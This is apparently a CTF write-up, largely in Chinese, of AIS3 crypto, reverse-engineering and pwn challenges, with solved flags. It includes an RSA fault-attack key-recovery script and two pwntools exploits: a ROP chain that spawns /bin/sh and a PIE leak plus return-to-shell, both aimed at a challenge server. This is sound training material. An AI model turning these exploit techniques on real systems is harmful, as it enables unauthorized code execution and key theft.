AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

zkp

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/bin/python3
import random
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import signal

def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)

def gen_prime(n):
while True:
p = 1
while p < (1 << (n - 1)) :
p *= getPrime(5)
p = p * 2 + 1
if isPrime(p): break
return p

def zkp_protocol(n, e, m):

# y = pow(e, m, p)
r = random.randrange(n-1)

a = pow(e, r, n)
print(f'a = {a}')

print('Give me the challenge')
try:
c = int(input('c = '))
w = (c * m + r) % (n-1)
print(f'w = {w}')
# you can verify I know the flag with
# g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)

except:
print('Invalid input.')

if __name__ == "__main__":
alarm(300)
assert len(flag) == 60
n = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# p is generated by gen_prime(1024)
e = 5
y = pow(e, bytes_to_long(flag), n)
print("""
******************************************************
Have you heard of Zero Knowledge Proof? I cannot give
you the flag, but I want to show you I know the flag.
So, let me show you with ZKP.
------------------------------------------------------
1) Printe public key.
2) Run ZKP protocol.
3) Bye~
******************************************************
""")

for _ in range(3):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f'p = {n}')
print(f'g = {e}')
print(f'y = {y}')

elif int(option) == 2:
zkp_protocol(n, e, bytes_to_long(flag))

else:
print("Bye~~~~~")
break
except:
print("Something wrong?")
exit()

解法

如果輸入 1,那你就可以拿到,這是個離散對數問題,看一下,發現他是個smooth,可以用discrete_log()這個函數

script

1
2
3
4
5
6
7
from sympy.ntheory import discrete_log
from Crypto.Util.number import long_to_bytes
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
g = 5
y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341
flag = discrete_log(p, y, 5)
print(long_to_bytes(flag))

AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

easyRSA

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/bin/python3
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from hashlib import sha256
from base64 import b64encode, b64decode
from secret import flag
import signal

def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)

def gcd(a, b):
while b:
a, b = b, a % b
return a

def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)

e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
# for CRT optimize
dP = d % (p-1)
dQ = d % (q-1)
qInvP = pow(q, -1, p)
return ((e, n), (dP, dQ, qInvP, p, q))

def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)

bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)


if __name__ == "__main__":
alarm(300)

public, private = generate_keypair(512)
print("""
***********************************************************
Have you heard CRT optimization for RSA? I have implemented
a CRT-RSA signature. However, there are bugs in my code...
---------------------------------------------------------
1) Print public key.
2) Sign a message.
3) Give me flag?
4) Bye~
***********************************************************
""")

for _ in range(5):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f"e, n = {public}")

elif int(option) == 2:
message = input("Your message (In Base64 encoded): ")
message = b64decode(message.encode())
if b"flag" in message:
print(f"No, I cannot give you the flag!")
else:
signature = sign(private, message)
signature = b64encode(signature)
print(f"Signature: {signature}")

elif int(option) == 3:
signature = input("Your signature (In Base64 encoded): ")
signature = b64decode(signature.encode())
message = b64encode(b"Give me the flag!")
if verify(public, message, signature):
print(f"Well done! Here is your flag :{flag}")
else :
print("Invalid signature.")

else:
print("Bye~~~~~")
break
except Exception as e:
print(e)
print("Something wrong?")
exit()

解法

他有一個地方有bug,所以可以參考這個,來做RSA Fault Attack
https://asecuritysite.com/rsa/rsa_fault

這邊直接上script,跟著我的script的方法推一遍就可以解出來了

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from hashlib import sha256
from Crypto.Util.number import bytes_to_long, long_to_bytes
from base64 import b64decode, b64encode
import libnum

print("選1,拿到 e, N")
e = int(input('e: '))
N = int(input('N: '))
print("m='fake_message_to_leak_data'")
msg=b"fake_message_to_leak_data"
m_base64= b64encode(msg)

m= bytes_to_long(sha256(msg).digest())
print("m_base64 : ",m_base64)
print("選2,讓m簽名(faulty_signature)")
faulty_signature = input("signature (base64) : ")
f_signature=bytes_to_long(b64decode(faulty_signature.encode()))

for a in range(512):
p_rec=libnum.gcd(pow(f_signature^a,e,N)-m,N)
q_rec = N//p_rec
if p_rec!=1:
print("p recovered: ",p_rec)
print("q recovered: ",q_rec)
break

#找到p,q後可以找出私鑰
phi=(p_rec-1)*(q_rec-1)
d=pow(e,-1,phi)

signature=pow(58390298905807142549536595535040245956000670278430985491775738737127640060178,d,N)
signature=long_to_bytes(signature)
import binascii
signature = binascii.hexlify(signature).decode('utf-8')
print("這裡拿到的是hex的signature,轉成base64(可以丟到cyberchef): ", signature)

#最後選擇3,丟進去就get flag了

image
image

image
image

AIS3{IJustWantItFasterQAQ}

Reverse

The Long Print

有個執行檔,先丟進去ida作分析,因為執行起來會卡,所以先把sleep patch掉,但他沒有印出flag

image
image

\rOops! Where is the flag? I am sure that the flag is already printed!

分析一下發現他運算完後忘記print出來來,就把東西抓下來run一遍就行了

image
image

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import time

secret = bytearray([
ord('F'), ord('A'), ord('K'), ord('E'), 0x0B, 0x00, 0x00, 0x00,
ord('{'), ord('h'), ord('o'), ord('o'), 0x0A, 0x00, 0x00, 0x00,
ord('r'), ord('a'), ord('y'), ord('_'), 0x02, 0x00, 0x00, 0x00,
ord('s'), ord('t'), ord('r'), ord('i'), 0x08, 0x00, 0x00, 0x00,
ord('n'), ord('g'), ord('s'), ord('_'), 0x06, 0x00, 0x00, 0x00,
ord('i'), ord('s'), ord('_'), ord('a'), 0x05, 0x00, 0x00, 0x00,
ord('l'), ord('w'), ord('a'), ord('y'), 0x07, 0x00, 0x00, 0x00,
ord('s'), ord('_'), ord('a'), ord('n'), 0x04, 0x00, 0x00, 0x00,
ord('_'), ord('u'), ord('s'), ord('e'), 0x09, 0x00, 0x00, 0x00,
ord('f'), ord('u'), ord('l'), ord('_'), 0x00, 0x00, 0x00, 0x00,
ord('c'), ord('o'), ord('m'), ord('m'), 0x01, 0x00, 0x00, 0x00,
ord('a'), ord('n'), ord('z'), ord('}'), 0x03, 0x00, 0x00, 0x00,
])

key = [
0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 0x3104321A,
0x3E2D161D, 0x2C120A31, 0x0D3E1103, 0x0C1A002C, 0x41D1432,
0x1A003100, 0x76180807
]
for i in range(0, 24, 2):
secret_value = int.from_bytes(secret[4 * i:4 * i + 4], 'little')
secret_index = int.from_bytes(secret[4 * i + 4:4 * i + 8], 'little') % len(key)
v4 = secret_value ^ key[secret_index]
for j in range(4):
print(chr(v4 & 0xFF), end='', flush=True)
v4 >>= 8
print(v4)


#AIS3{You_are_the_master_of_time_management!!!!?}

AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース

丟進去ida,一樣把printflag裡面的sleep patch掉,把sleep大概邏輯是長這樣,輸入的東西就是flag,經過運算後會比對看對不對,所以就是反著推一遍就行了(最後加上他一開始印的flag開頭)

image
image

image
image

另外每個字是獨立運算的,所以complex可以透過輸入來對答案(大寫),這樣就不需要逆推那一坨複雜的運算了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import time
import random

def xor_strings(a1, a2, a3):
result = ''
for i in range(8):
v6 = int(a1[i], 16)
v5 = int(a2[i], 16)
result += hex(v6 ^ v5)[2:]

return result

def complex_function(a1, a2):
if a1 <= 64 or a1 > 90:
print("It feels slightly wrong, but almost correct...")


v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3

if a2 % 3 == 2:
v8 = (v8 - v7 + 26) % 26
elif v2 <= 2:
if v2:
if v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26

return chr(v8 + 65)


unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
def main():
v3 = int(time.time())
random.seed(v3)
buffer0 = [''] * 8
buffer1 = [''] * 8
buffer2 = [''] * 8
buffer3 = [''] * 8
buffer0 = input("Enter value for buffer0 (8 characters): ").strip()[:8]
buffer1 = input("Enter value for buffer1 (8 characters): ").strip()[:8]
buffer2 = input("Enter value for buffer2 (8 characters): ").strip()[:8]
buffer3 = input("Enter value for buffer3 (8 characters): ").strip()[:8]

xor_strings(buffer0, unk_804A163, buffer0)
xor_strings(buffer1, v12, buffer1)
xor_strings(buffer2, v13, buffer2)
xor_strings(buffer3, v14, buffer3)
for i in range(8):
buffer0[i] = complex_function(ord(buffer0[i]), i)
buffer1[i] = complex_function(ord(buffer1[i]), i + 32)
buffer2[i] = complex_function(ord(buffer2[i]), i + 64)
buffer3[i] = complex_function(ord(buffer3[i]), i + 96)
if (buffer0 == "DHLIYJEG"
and buffer1 == "MZRERYND"
and buffer2 == "RUYODBAH"
and buffer3 == "BKEMPBRE"):
print("Yes! I remember now, this is it!")
else:
print("It feels slightly wrong, but almost correct...")
main()

script

這是我推的過程,可以推推看(我知道很亂就是了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]
#v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
#v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
#v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
#buffer0=""
#xor_strings(buffer0, unk_804A163, buffer0)

#
'''
def complex_function(buffer0[i], i):
#if a1 <= 64 or a1 > 90:
# print("It feels slightly wrong, but almost correct...")


v8 = (17 * i + buffer0[i] - 65) % 26
v7 = i % 3 + 3
v2 = i % 3

if v2 == 2:#2、5
v8 = (v8 - v7 ) % 26


elif v2 == 1:#1、4、7
v8 = (2 * v7 + v8) % 26
else:#0、3、6
v8 = (v7 * v8 + 7) % 26
#

return chr(v8 + 65)
'''

def reverse_engineer(i, target_char):
target_value = ord(target_char) - 65

for buffer0_i in range(65, 91): # Looping through 'A' to 'Z'
v8 = (17 * i + buffer0_i - 65) % 26
v7 = i % 3 + 3
v2 = i % 3

if v2 == 2:
v8 = (v8 - v7) % 26
elif v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26

if v8 == target_value:
print(chr(buffer0_i),end="")

return None


'''
for i in range(8):
buffer0[i] = complex_function(ord(buffer0[i]), i)
'''
ans="BKEMPBRE"
for i in range(0,8):
reverse_engineer(i+96,ans[i])


#############################
#"DHLIYJEG"=complex_function(ord(buffer0[i]), i) i=0~7
#ans-65


input_string = "QIIKAHBJ"
byte_array = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)

#print(result_string)
#_D4MN_4N

#TRDMYLWD

#
input_string = "TRDMYLWD"
byte_array = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#9R_15_5U


input_string = "NMTLWVYB"
byte_array = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]

ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#P3R_P0W3

#ERHAXFUN
input_string = "ERHAXFUN"
byte_array = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
ascii_values = [ord(char) for char in input_string]

result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]

result_string = ''.join(chr(value) for value in result)
print()
print(result_string)

#RFU1!!!}

#AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

Pwn

Mathter

checksec

image
image

看到開了canary但其實沒開

image
image

解法

image
image

goodbye函數裡面有gets可以做buffer overflow的利用
這邊可以堆ROP

  • execve(‘/bin/sh’)
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)

找ROPgadget

ROPgadget address
pop rax ;ret 0x42e3a7
pop rdi ;ret 0x402540
pop rsi ;ret 0x4126a3
pop rdx ; pop rbx ; ret 0x47b917
syscall 0x4013ea
mov [rax + 8], rdx; ret 0x42f6b3
memory can write 0x4bc140

另外找到一段可寫段,選一段看起來沒用到的空間來寫入/bin/sh,這邊選0x4bc140
mov [rax + 8], rdx; ret 會將rdx的值寫到rax所存的位址+8,所以/bin/sh被寫到0x4bc148
之後再從這裡拿寫進rdi

image
image

image
image

stack狀態

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
AAAAAA(0x4+0x8)
pop rdx rbx
/bin/sh\x00
0
pop rax
0x4bc140
mov [rax + 8], rdx; ret
pop rax
0x3b
pop rdi
0x4bc148
pop rsi
0
pop rdx ; pop rbx
0
0
syscall

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.arch='amd64'
#r=remote("chals1.ais3.org",50001)
r=process("./mathter")

write_binsh={
"pop_rdx_rbx_addr":0x47b917,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rax_addr":0x42e3a7,
"pop_rax_value":0x4bc140,
"mov":0x42f6b3
}

writebinsh_payload=flat(write_binsh["pop_rdx_rbx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh['pop_rax_addr'],
write_binsh["pop_rax_value"],
write_binsh["mov"]
)

ROPvar={
'pop_rax_ret':0x42e3a7,
'pop_rdi_ret':0x402540,
'pop_rsi_ret':0x4126a3,
'pop_rdx_rbx_ret':0x47b917,
'syscall':0x4013ea
}

STACKvar={
'rax_var':0x3b,
'rdi_var':0x4bc148,
'rsi_var':0,
'rdx_var':0,
'rbx_var':0
}

ROP_payload=flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_rbx_ret'],
STACKvar['rdx_var'],
STACKvar['rbx_var'],
ROPvar['syscall'])

payload=b'a'*(0x4+0x8)+writebinsh_payload+ROP_payload

r.sendlineafter(b"Enter an operation and two numbers (e.g., 1 + 1) :",b"q")
r.sendlineafter(b"Are you sure you want to leave? [Y/n]",payload)

r.interactive()

image
image

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

題外話

這題好像只是單純的ret2func,結果我把他想太難,直接堆ROP,我以為那兩個function是假的function

base64 encoder

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void Vincent55Orz(){
puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
system("sh");
}

void base64_encoding(const char *table, char *buf, size_t len) {
printf("Result: ");
const int append_mod[3] = {0, 2, 3};
const int mod[3] = {0, 2, 1};
int out = 4 * (len / 3) + append_mod[len % 3];
for (size_t i = 0; i < len;) {
int32_t tmp_a = i < len ? buf[i++] : 0; //0xff
int32_t tmp_b = i < len ? buf[i++] : 0; //0xff
int32_t tmp_c = i < len ? buf[i++] : 0; //0xff
int32_t combined = (tmp_a << 0x10) + (tmp_b << 0x08) + tmp_c; //讓她是負數 -> oob
//printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 18) % 64); // 分別print一個index
if (out) {
putchar(table[(combined >> 18) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 12) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 6) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 0) % 64]);
out--;
}
}
for (int i = 0; i < mod[len % 3]; i++) putchar('=');
putchar('\n');
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[0x40];
const char table[0x40] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
while (1) {
printf("Text: ");
memset(buf, 0, sizeof(buf));
if (scanf("%[^\n]%*c", buf) != 1) return 0;
base64_encoding(table, buf, strlen(buf));
}
return 0;
}

ckecksec

image
image

開NX、PIE

分析

1
scanf("%[^\n]%*c", buf)

這地方有個很明顯的Buffer overflow

1
2
3
4
void Vincent55Orz(){
puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
system("sh");
}

這個function開了一個shell,如果沒有PIE直接return過去就好了,但這題有開PIE,function的為只會加上PIE base,所以要leak PIE base

1
PIE(stack)-stack offset=PIE base

哪裡可以leak PIE呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (out) {
putchar(table[(combined >> 18) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 12) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 6) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 0) % 64]);
out--;
}

這裡要了解一件事,就是C語言裡面的%不是取模,而是取餘,所以可以oob。
另外他有一個提示是他有一個debug留下來,可以透過那個debug,在本地自己重新編譯一個後,來知道要索引是多少

1
printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 0) % 64)

(記的把最後一個改回0)

之後就開始暴力搜索出
table[-3] table[-4] table[-5] table[-6] table[-7] table[-8],這些byte組起來就是PIE(stack)了

main+299->6 bytes的位址在stack上(PIE過)->oob 索引-3 -4 -5 -6 -7 -8組起來

image
image

image
image

找PIE base

image
image

找到offset
之後就可以每輪leak出PIE找到base了,最後return過去

1
2
3
4
5
6
7
8
from pwn import *
r = process('./base64e')
r.sendlineafter(b': ', b'\x55\x55\x01') #改這裡面的,看有沒有輸出想要的索引
# r.recvline()
# a = r.recvline()
# print(a)
# print(hex(a[1]))
r.interactive()

總之亂試後就可以找到了
最後就可以減出PIE base

1
0x40+0x8(old rbp)+ret的func位置+往後跳一點(加上PIE base)

image
image

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.arch='amd64'

r = remote('chals1.ais3.org', 50002)
# r = process('./base64encoder')

#-5
ans = 0
r.sendlineafter(b'Text: ', b'\xdc\xba\xbf')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_5=a

#-8
r.sendlineafter(b'Text: ', b'\xd5\xb4\xb8')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_8=a

#-6
r.sendlineafter(b'Text: ', b'\xd5\xb4\xba\xaa')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_6=a

#-4
r.sendlineafter(b'Text: ', b'\xdc\xcb\xaa\xcc')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_4=a

#-7
r.sendlineafter(b'Text: ', b'\xf0\x91\x01')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie7=a

#-3
pie3=0x55

pie=(pie3<<40)+(pie_4<<32)+(pie_5<<24)+(pie_6<<16)+(pie7<<8)+pie_8
PIE_BASE = pie - 0x15f8 #pie - stack offset

print(hex(PIE_BASE))
payload = b'A'*(0x40+0x8) + flat(PIE_BASE+0x1231)
r.sendlineafter(b': ',payload)

r.sendlineafter(b': ',b'\n')

r.interactive()

#AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}

image
image

這題Leak PIE很像之前看到一題叫ROT13的,超有趣的利用方法

AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}